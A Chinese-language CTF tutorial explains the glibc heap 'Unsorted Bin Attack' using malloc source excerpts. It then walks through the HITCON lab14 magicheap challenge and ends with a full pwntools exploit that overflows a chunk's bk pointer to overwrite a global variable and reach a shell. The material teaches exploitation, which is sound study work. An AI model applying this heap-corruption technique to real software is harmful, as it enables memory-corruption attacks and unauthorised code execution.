概述
Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。
Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。
Unsorted Bin 回顾
在介绍 Unsorted Bin 攻击前,可以先回顾一下 Unsorted Bin 的基本来源以及基本使用情况。
基本来源
当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
使用情况
- Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。
- 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中
详情见malloc源码分析
原理
在 glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck; //bck倒数第二个chunk
bck->fd = unsorted_chunks (av);
换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。
一般将bk修改为targetaddr-0x10这样在将我们所控制的unsorted_chunk malloc掉之后就会发生如下情况:
示意图:
bk所指向的fake_chunk将会被添加到unsortedbin中,将fake_chunk->fd = &unsortedbin,注意fake_chunk->bk是不会被赋值的。
- 初始状态时
- unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。
- 执行 free(p)
- 由于释放的 chunk 大小不属于 fast bin 范围内,所以会首先放入到 unsorted bin 中。
- 修改 p[1]
- 经过修改之后,原来在 unsorted bin 中的 p 的 bk 指针就会指向 target addr-16 处伪造的 chunk,即 Target Value 处于伪造 chunk 的 fd 处。
- 申请 400 大小的 chunk
- 此时,所申请的 chunk 处于 small bin 所在的范围,其对应的 bin 中暂时没有 chunk,所以会去 unsorted bin 中找,发现 unsorted bin 不空,于是把 unsorted bin 中的最后一个 chunk 拿出来。
对应源码
第一个判断
/*1处于smallbinsfanwei 2存在last_remainder 3 size大于nb + MINSIZE,保证可以进行切割 */
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
.......
.....
}
因为我们修改了bk指针所以肯定不会生效
/*如果上面的那几个苛刻条件没满足,那就直接把最后chunk的链接解除*/
/* remove from unsorted list 最后的chunk解除链接 */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
//如果从 unsorted bin 中取出来的 chunk 大小正好合适,就直接使用。
/* Take now instead of binning if exact fit */
if (size == nb)
{
set_inuse_bit_at_offset (victim, size); //设置物理相邻的下一个chunk的inuse位为1
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p; //直接返回
}
我们在修改bk后过程为:
- victim = unsorted_chunks(av)->bk=p
- bck = victim->bk=p->bk = target addr-16
- unsorted_chunks(av)->bk = bck=target addr-16
- bck->fd = *(target addr -16+16) = unsorted_chunks(av); //最终效果
可以看出,在将 unsorted bin 的最后一个 chunk 拿出来的过程中,victim 的 fd 并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。然而,需要注意的是,unsorted bin 链表可能就此破坏,在插入 chunk 时,可能会出现问题。
unsorted bin attack 确实可以修改任意地址的值,但是所修改成的值却不受我们控制,唯一可以知道的是,这个值比较大。而且,需要注意的是,
这看起来似乎并没有什么用处,但是其实还是有点卵用的,比如说
- 我们通过修改循环的次数来使得程序可以执行多次循环。
- 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些** fast bin attack **了。
HITCON Training lab14 magic heap
checksec
matrix@ubuntu:~/PWN/BUU$ checksec magicheap
[*] '/home/matrix/PWN/BUU/magicheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
PIE关闭
IDA
if ( choice == 4 )
exit(0);
if ( choice == 4869 )
{
if ( (unsigned __int64)bss_data <= 4869 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
get_shell();
}
这里给出了明显的后门,只需bss_data的数据大于4869即可
在edit功能中存在堆溢出漏洞
int edit_heap()
{
__int64 v1; // [rsp+0h] [rbp-10h]
size_t size; // [rsp+8h] [rbp-8h]
printf("Index :");
read(0, (char *)&v1 + 4, 4uLL);
LODWORD(v1) = atoi((const char *)&v1 + 4);
if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( !bss_ptr_chunk[(signed int)v1] )
return puts("No such heap !");
printf("Size of Heap : ", (char *)&v1 + 4, v1);
read(0, (char *)&v1 + 4, 8uLL);
size = atoi((const char *)&v1 + 4); // new_size
printf("Content of heap : ", (char *)&v1 + 4, v1);
read_input(bss_ptr_chunk[(signed int)v1], size);
return puts("Done !");
}
整个程序的功能是想实现一个堆分配器:
- create chunk
- edit chunk
- delete chunk
思路
利用堆溢出漏洞将一个smallbins chunk的bk修改为target_Addr - 0x10即可
EXP
from pwn import*
context.log_level = 'debug'
def create(size,cont):
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Size of Heap : ',str(size))
sh.sendlineafter('Content of heap:',str(cont))
def delet(index):
sh.sendlineafter('Your choice :','3')
sh.sendlineafter('Index :',str(index))
def edit(index,size,cont):
sh.sendlineafter('Your choice :','2')
sh.sendlineafter('Index :',str(index))
sh.sendlineafter('Size of Heap : ',str(size))
sh.sendlineafter('Content of heap : ',str(cont))
#sh = process('./magicheap')
sh = remote('node3.buuoj.cn',26049)
create(0x20,'AAAAAAAA') #0
create(0x100,'BBBBBBBBB') #1
create(0x20,'CCCCCCCC') #2
delet(2)
delet(1)
bss_data = 0x06020A0
payload = 'A'*0x20
payload += p64(0) #prev
payload += p64(0x111) #size
payload += 'fd'*4
payload += p64(bss_data-0x10)
edit(0,0x40,payload)
#gdb.attach(sh)
create(0x100,'create')
sh.interactive()